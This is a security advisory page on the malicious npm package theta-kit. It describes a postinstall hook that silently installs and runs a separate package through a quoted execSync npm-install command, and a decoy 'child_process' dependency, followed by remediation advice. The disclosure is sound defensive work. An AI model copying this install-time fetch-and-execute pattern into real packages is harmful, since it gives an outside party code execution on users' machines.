Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

Malicious code in theta-kit (npm)

0
Critical
Published: 06/12/2026 (06/12/2026, 19:07:23 UTC)
Source: GCVE Database
Product: theta-kit

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039) package.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit. ## Source: ghsa-malware (da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Affected software

npmghsa
theta-kit
Affected versions
=1.0.1=1.0.2=1.0.3=1.0.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/07/2026, 00:36:54 UTC

Technical Analysis

The 'theta-kit' npm package (versions 1.0.0, 1.0.1, 1.0.2, and 1.0.3) includes a postinstall script that runs 'dist/index.js', which calls 'Model.resetor()'. This function attempts to instantiate and execute code from a separate package 'theta-connector'. If 'theta-connector' is not present, it is silently installed and then executed without user awareness. The actual malicious code resides in 'theta-connector', which is not included in the 'theta-kit' tarball, allowing its code to change independently. Additionally, 'theta-kit' declares a runtime dependency on a registry package named 'child_process', which is unrelated to Node.js's built-in module, creating another execution vector controlled by the attacker. This design enables the maintainer of 'theta-connector' to execute arbitrary code on every install or require of 'theta-kit', effectively compromising the host system.

Potential Impact

Systems with 'theta-kit' versions 1.0.0 to 1.0.3 installed or running are fully compromised, as arbitrary code execution occurs during installation and runtime. Attackers gain full control over the affected computer, risking exposure of all stored secrets and keys. Removal of the package does not guarantee elimination of all malicious artifacts due to the potential for persistent compromise.

Mitigation Recommendations

Immediate removal of the 'theta-kit' package versions 1.0.0 through 1.0.3 is required. All secrets and keys stored on affected systems should be rotated from a separate, trusted environment. Due to the high likelihood of full system compromise, a thorough incident response and system rebuild may be necessary. No official patch or fix is currently available; users should avoid installing or using this package. Monitor for any presence of 'theta-kit' or 'theta-connector' in your environment and block their installation.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-5706
Osv Schema Version
1.7.4
Aliases
["GHSA-ccpw-cfwc-qgw4"]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a4c341227e9c797195f7c7e

Added to database: 07/06/2026, 23:02:42 UTC

Last enriched: 07/07/2026, 00:36:54 UTC

Last updated: 07/29/2026, 09:25:33 UTC

Views: 6

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses